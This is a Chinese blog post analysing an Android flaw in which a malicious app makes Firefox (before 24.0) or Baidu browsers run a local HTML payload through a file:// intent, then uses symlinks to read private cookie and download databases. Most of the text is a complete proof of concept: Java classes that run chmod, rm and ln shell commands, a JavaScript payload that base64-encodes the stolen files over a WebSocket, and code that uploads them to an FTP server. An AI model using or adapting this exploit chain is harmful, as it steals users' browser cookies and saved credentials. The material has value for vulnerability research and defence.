漏洞危害:android平台的第三方浏览器可以泄露用户账号密码。 漏洞描述:恶意程序通过发送file类型的intent使第三方浏览器执行恶意HTML中的js代码从而泄露浏览器本地存储的cookies和保存的账号密码等敏感信息。 受影响的浏览器:firefox 24.0以下版本,百度几乎所有android浏览器。 漏洞细节分析(以firefox为例,我这里是以firefox如下版本为分析基础: android:versionCode="111611" android:versionName="17.0" android:installLocation="0" package="org.mozilla.firefox" 导致漏洞存在的两个因素: 第一个因素:用于打开网页的页面,存在可以接受file的intent,并且接受显示html的脚本文件,看manifest中对org.mozilla.firefox.App的申明信息,<intent-filte>
<actionandroid:name="android.intent.action.VIEW"></action>
<category android:name="android.intent.category.BROWSABLE"></category>
<category android:name="android.intent.category.DEFAULT"></category>
<dataandroid:scheme="file"></data>
<dataandroid:scheme="http"></data>
<dataandroid:scheme="https"></data>
<dataandroid:mimeType="text/html"></data>
<dataandroid:mimeType="text/plain"></data>
<dataandroid:mimeType="application/xhtml+xml"></data>
</intent-filter> 言外之意是说,当某个应用发起一个intent,形如: String file = "/data/data/com.example.test/dir/payload.html" Intenti=newIntent(Intent.ACTION_MAIN); Filef=newFile(file); Uriuri=Uri.fromFile(f); i.setClassName("org.mozilla.firefox","org.mozilla.firefox.App"); i.addCategory(Intent.CATEGORY_BROWSABLE); i.addCategory(Intent.CATEGORY_DEFAULT); i.setData(uri); act.startActivity(i); 如果app将自己的payload.html所在文件和目录设置成 777 ,则外部程序也可对其可读可写可执行(这是可以实现的),则payload.html中的脚本将被执行。 第二个因素:将隐私文件存储在本地: 我们这里以firefox 17.0版本和百度浏览器 目前最新版本 android:versionCode="29" android:versionName="4.0.7.10" 为例子: firefox将隐私比如cookies放入一个随机数字生成的目录,这本是一个很好的方式,可以让程序很难找到真正存放cookies的地方,但是在一个固定目录里面却放了一个配置文件,用于找到这个随机字符存放cookies的目录:
Path字段暴露了存放重要信息的位置。 百度浏览器的保存账号和密码的文件是:webview_baidu.db不过里面的内容是加密的,不过这种本地加密的方式,只要已经拿到此文件之后,我恐怕账号密码信息也是很容易得到的,下面的重点内容是通过何种方式将这些包含重要信息文件的内容取出来,并且将这些文件upload出去。 思路: 既然可以通过发起file:// 的intent让浏览器打开payload.html,那么可以在payload中放入一段js脚本,让这段js脚本去读取这些隐私文件,然后通过与发起intent的文件建立socket连接,从而将这些隐私数据发送给出去。 但是这里有两个问题需要明白, 第一:脚本的Same Origin Policy (SOP),可信源策略,在这里我的理解通俗点讲就是:基于安全原因,某个域下的js脚本式不能去调用别的域脚本,在这里的情况简单的讲就是在第一次执行payload.html之里面的js脚本去再次执行或者打开其它路径的脚本和文件; 第二:在App这个class定义的数据类型中处理mimeType类型的文件,那么sqlitedb文件,这些都不是mimeType类型,如何转换呢?为什么要考虑这个问题,先暂时不用理会,你会在后续的payload脚本中找到答案。 <dataandroid:mimeType="text/html"></data>
<dataandroid:mimeType="text/plain"></data>
<dataandroid:mimeType="application/xhtml+xml"></data> 思路出来之后,也有拦路虎。我们来逐个解决。 第一个问题可以利用linux的符号链接(symbolink)来解决,第二个问题则可以利用base64来对相应的数据进行解码。下面就要进入proof of content环节了: 在POC程序com.example.ffoxnew中设计一个ContentReceiverServer继承于WebSocketServer 类用于接收从payload获取的浏览器保存的隐私文件: ContentReceiverServer.javapackagecom.example.ffoxnew;
importjava.io.File;
importjava.io.FileInputStream;
importjava.io.FileOutputStream;
importjava.io.IOException;
import.InetSocketAddress;
import.UnknownHostException;
import.ftp.FTP;
import.ftp.FTPClient;
importorg.java_websocket.WebSocket;
importorg.java_websocket.handshake.ClientHandshake;
importorg.java_websocket.server.WebSocketServer;
importandroid.content.Context;
importandroid.os.AsyncTask;
importandroid.util.Base64;
importandroid.util.Log;
publicclassContentReceiverServerextendsWebSocketServer {
privatestaticfinalString TAG= ContentReceiverServer.class.getSimpleName();
privateContext mContext;
privateString lastSaltedValue= null;
publicContentReceiverServer(intport, Context ctx)throwsUnknownHostException {
super(newInetSocketAddress(port));
mContext = ctx.getApplicationContext();
}
publicContentReceiverServer(InetSocketAddress address, Context ctx) {
super(address);
mContext = ctx.getApplicationContext();
}
@Override
publicvoidonOpen(WebSocket conn, ClientHandshake handshake) {
Log.e(TAG,"onOpen");
}
@Override
publicvoidonMessage(WebSocket conn, String message) { //通过与payload命令交互
if(message.startsWith("sym")) {
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.replaceFileWithSymlink(Utils.Firefox.PATH_PROFILES_INI, firstPayloadPath);
try{
Thread.sleep(2000);
}catch(InterruptedException e) {
e.printStackTrace();
}
conn.send("msg1");
}elseif(message.startsWith("msg1")) {
// profiles.ini received 8===D we parse it
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.removeStuff(firstPayloadPath);
intstartindex = message.indexOf("Path=");
intendindex = message.indexOf(".default");
Log.e("TAG", message);
String salt = message.substring(startindex+5, endindex);
Log.e(TAG, "got Salted value " + salt);
lastSaltedValue = salt;
String cookies = String.format(Utils.Firefox.PATH_COOKIES_FORMAT, lastSaltedValue);
Utils.SymLinks.replaceFileWithSymlink(cookies, firstPayloadPath);
try{
Thread.sleep(2000);
}catch(InterruptedException e) {
e.printStackTrace();
}
conn.send("msg2");
}elseif(message.startsWith("msg2")) {
// cookies.sqlite
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.removeStuff(firstPayloadPath);
String realMessage = message.substring(4);
Log.e(TAG, realMessage);
FTPTask ftpTask =newFTPTask();
ftpTask.execute(realMessage, lastSaltedValue + "-" +"cookies.sqlite");
String downloads = String.format(Utils.Firefox.PATH_DOWNLOADS_FORMAT, lastSaltedValue);
Utils.SymLinks.replaceFileWithSymlink(downloads, firstPayloadPath);
try{
Thread.sleep(2000);
}catch(InterruptedException e) {
e.printStackTrace();
}
conn.send("msg3");
}elseif(message.startsWith("msg3")) {
// downloads.sqlite
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.removeStuff(firstPayloadPath);
try{
// we have finished here
this.stop();
}catch(IOException e) {
e.printStackTrace();
}catch(InterruptedException e) {
e.printStackTrace();
}
String realMessage = message.substring(4);
Log.e(TAG, realMessage);
FTPTask ftpTask =newFTPTask();
ftpTask.execute(realMessage, lastSaltedValue + "-" +"dowloads.sqlite");
}
}
@Override
publicvoidonClose(WebSocket conn,intcode, String reason,booleanremote) {
Log.d(TAG,"onClose");
}
@Override
publicvoidonError(WebSocket conn, Exception e) {
Log.e(TAG,"onError " + e.getMessage());
e.printStackTrace();
}
privateclassFTPTaskextendsAsyncTask<String, Void, Void> {
@Override
protectedVoid doInBackground(String... params) {
// local copy
byte[] bytes = Base64.decode(params[0], 0);
File filesDir = mContext.getFilesDir();
File output =newFile(filesDir, params[1]);
try{
FileOutputStream os =newFileOutputStream(output, true);
os.write(bytes);
os.flush();
os.close();
}catch(Exception e) {
Log.e(TAG, "Error while saving file");
}
FTPClient con = null;
try
{
con =newFTPClient(); //连接到ftp服务器,将敏感文件上传至ftp
con.connect("");//改成你自己的
if(con.login("linux_feixue","135763"))// 改成你自己的
{
con.enterLocalPassiveMode(); // important!
con.setFileType(FTP.BINARY_FILE_TYPE);
FileInputStream in =newFileInputStream(output);
booleanresult= con.storeFile(params[1], in);
in.close();
if(result) Log.e("upload result","succeeded");
elseLog.e("Upload result","failed");
con.logout();
con.disconnect();
}
}
catch(Exception e)
{
e.printStackTrace();
}
returnnull;
}
}
}
FFoxApplication.javapackagecom.example.ffoxnew;
importjava.io.File;
importcom.example.ffoxnew.Utils.CMDs;
importandroid.app.Application;
importandroid.util.Log;
publicclassFFoxApplicationextendsApplication {
privatestaticfinalString TAG= FFoxApplication.class.getSimpleName();
@Override
publicvoidonCreate() {
super.onCreate();
setup();
}
privatevoidsetup() {
Utils.WebSockets.setup();
Utils.Misc.setup(this);
JSPayloads.copyPayloads(this, (newFile(this.getFilesDir(),JSPayloads.PAYLOAD_FOLDER)).toString());
JSPayloads.makePayloadsReachable(this);
Log.e(TAG,"setup completed");
}
publicvoidcleanup() {
Utils.Misc.cleanup(this);
}
}JSPayloads.java
packagecom.example.ffoxnew;
importjava.io.File;
importjava.io.FileOutputStream;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.OutputStream;
importjava.util.ArrayList;
importandroid.content.Context;
importandroid.content.res.AssetManager;
importandroid.os.Environment;
importandroid.util.Log;
publicclassJSPayloads {
publicstaticfinalString FIRST_PAYLOAD="payload.html";
publicstaticfinalString PAYLOAD_FOLDER="ff_ploads";
privatestaticArrayList<String> payloadsList=newArrayList<String>();
static{
payloadsList.add(FIRST_PAYLOAD);
}
publicstaticvoidmakePayloadsReachable(Context ctx) {
File dir = ctx.getFilesDir();
Utils.CMDs.cmd("chmod -R 777 " + dir.toString());
}
publicstaticString getPathForPayload(Context ctx, String payload) {
File filesDir = ctx.getFilesDir();
File folder =newFile(filesDir, PAYLOAD_FOLDER);
String path = folder.toString() + "/" + payload;
File f =newFile(path);
returnpath;
}
publicstaticvoidcopyPayloads(Context ctx, String folder) {
AssetManager assetManager = ctx.getAssets();
for(String filename : payloadsList) {
InputStream in = null;
OutputStream out = null;
try{
in = assetManager.open(filename);
File outFile =newFile(folder, filename);
out =newFileOutputStream(outFile);
copyFile(in, out);
in.close();
in = null;
out.flush();
out.close();
out = null;
}catch(IOException e) {
Log.e("tag", "Failed to copy asset file: " + filename, e);
}
}
}
privatestaticvoidcopyFile(InputStream in, OutputStream out)throwsIOException {
byte[] buffer =newbyte[1024];
intread;
while((read = in.read(buffer)) != -1){
out.write(buffer, 0, read);
}
}
}Utils.java
packagecom.example.ffoxnew;
importjava.io.File;
importandroid.app.Activity;
importandroid.content.Context;
importandroid.content.Intent;
import.Uri;
importandroid.os.Environment;
importandroid.util.Log;
publicclassUtils {
publicstaticclassCMDs {
publicstaticvoidcmd(String command){
try{
String[] tmp =newString[] {"/system/bin/sh","-c", command};
Log.e("testest", command);
Runtime.getRuntime().exec(tmp);
}
catch(Exception e) {
e.printStackTrace();
}
}
}
publicstaticclassSymLinks {
publicstaticvoidreplaceFileWithSymlink(String destination, String path) { //这里会删除原先的payload.html文件,
CMDs.cmd("rm -r " + path); //建立符号连接,但符号连接沿用原先被删除的文件的路径,所以这里当js脚本再次load的时候,脚本依然当还是访问原先的路径名,只是由于原先的文件 //早已经被删除了,所以这里访问的其实已经是新的文件了,神不知鬼不觉的过了AOP createSymLink(destination, path);
}
privatestaticvoidcreateSymLink(String destination, String path) {
CMDs.cmd("ln -s " + destination + " " + path);
CMDs.cmd("chmod 777 " + path);
}
publicstaticvoidremoveStuff(String path) {
CMDs.cmd("rm -rf " + path);
}
}
publicstaticclassWebSockets {
publicstaticvoidsetup() {
java.lang.System.setProperty(".preferIPv6Addresses","false");
java.lang.System.setProperty(".preferIPv4Stack","true");
}
publicstaticvoidcleanup() {
}
}
publicstaticclassFirefox {
privatestaticfinalString FF_PACKAGE="org.mozilla.firefox";
privatestaticfinalString FF_ACTIVITY="org.mozilla.firefox.App";
publicstaticfinalString PATH_PROFILES_INI="/data/data/"+ FF_PACKAGE+"/files/mozilla/profiles.ini";
publicstaticfinalString PATH_COOKIES_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/cookies.sqlite";
publicstaticfinalString PATH_DOWNLOADS_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/downloads.sqlite";
publicstaticvoidlaunch(Activity act, String file){
Intent i =newIntent(Intent.ACTION_MAIN);
File f=newFile(file);
Uri uri = Uri.fromFile(f);
i.setClassName(FF_PACKAGE, FF_ACTIVITY);
i.addCategory(Intent.CATEGORY_BROWSABLE);
i.addCategory(Intent.CATEGORY_DEFAULT);
i.setData(uri);
act.startActivity(i);
}
}
publicstaticclassMisc {
publicstaticvoidsetup(Context ctx) {
setupStorage(ctx);
}
publicstaticvoidcleanup(Context ctx) {
cleanStorage(ctx);
}
privatestaticvoidsetupStorage(Context ctx) {
cleanStorage(ctx);
File filesDir = ctx.getFilesDir();
File payloadFolder =newFile(filesDir, JSPayloads.PAYLOAD_FOLDER);
payloadFolder.mkdir();
}
privatestaticvoidcleanStorage(Context ctx) {
File filesDir = ctx.getFilesDir();
File payloadFolder =newFile(filesDir, JSPayloads.PAYLOAD_FOLDER);
if(payloadFolder.exists()) {
payloadFolder.delete();
}
}
}
}MainActivity.java
packagecom.example.ffoxnew;
import.UnknownHostException;
importcom.example.ffoxnew.Utils.SymLinks;
importandroid.app.Activity;
importandroid.os.Bundle;
importandroid.util.Log;
publicclassMainActivityextendsActivity {
privatestaticfinalString TAG= MainActivity.class.getSimpleName();
@Override
protectedvoidonCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try{
startExploit();
}catch(Exception e) {
// Collecting all the errors in one place
Log.e(TAG, e.getMessage());
e.printStackTrace();
finish();
}
}
@Override
protectedvoidonDestroy() {
super.onDestroy();
FFoxApplication app = (FFoxApplication) getApplication();
app.cleanup();
}
privatevoidstartExploit()throwsUnknownHostException, InterruptedException {
// starting the server to receive the salted value
ContentReceiverServer server =newContentReceiverServer(8887,this);
server.start();
// Firing the first payload
String firstPayloadPath = JSPayloads.getPathForPayload(this, JSPayloads.FIRST_PAYLOAD);
Utils.Firefox.launch(this, firstPayloadPath);
}
}com.example.ffoxnew发起intent让浏览器访问的payload.html,这段代码被放置于assets目录中,在com.example.ffoxnew运行后释放到指定的目录,且将其所在目录修改成777,之后发起intent让被攻击的浏览器去访问payload.html至此payload会同ContentReceiverServer进行通信,将隐私文件发送它,ContentReceiverServer进而将信息upload到指定的ftp服务器。
<scripttype="text/javascript">
varws = new WebSocket('ws://localhost:8887'); /*连接服务端,并会触发ws.open,自此与服务端的通信便开始,直至隐私文件上传完毕*/
function getFile(tag) {
vard =document;
varxhr = new XMLHttpRequest;
vartxt = '';
xhr.onload= function() {
if (tag != 'msg1'){
vararrayBuffer = xhr.response;
if (arrayBuffer) {
varbyteArray = new Uint8Array(arrayBuffer);
varb64encoded = btoa(String.fromCharCode.apply(null, byteArray));
txt = b64encoded;
}
} else {
txt = xhr.responseText;
}
txt = tag + txt;
alert('sendingtextfor tag' + tag + ' ' + txt);
ws.send(txt);
};
alert('document: ' + d.URL);
alert('requested file for tag: ' + tag);
if (tag != 'msg1') {
xhr.open('GET', d.URL, true);
xhr.responseType = "arraybuffer";
} else {
xhr.open('GET', d.URL);
}
xhr.send(null);
}
ws.onopen = function() {
ws.send('sym');
}
ws.onmessage = function(e) {
vartag = e.data;
getFile(tag)
}
ws.onclose = function() {
}
</script>至此,该类漏洞的利用原理已经分析完成了,这里面的POC并非本人所写,是Sebastián 在分析firefox漏洞时候提供的,由于csdn新手不能发链接,所以就不发了,希望这篇文章也能让你理解其中的原理,这里我只是做了相应的讲解。
话说回来,这个漏洞利用起来还是比较难的,相比weixin上次暴露出来的webview远程代码执行漏洞,还是显得比较难以利用,不过如果该漏洞被恶意程序利用来窃取窃取第三方浏览器的隐私信息倒是不无可能,目前发现百度的浏览器也存在这一问题,可能还有更多的浏览器存在类似的泄露隐私的风险。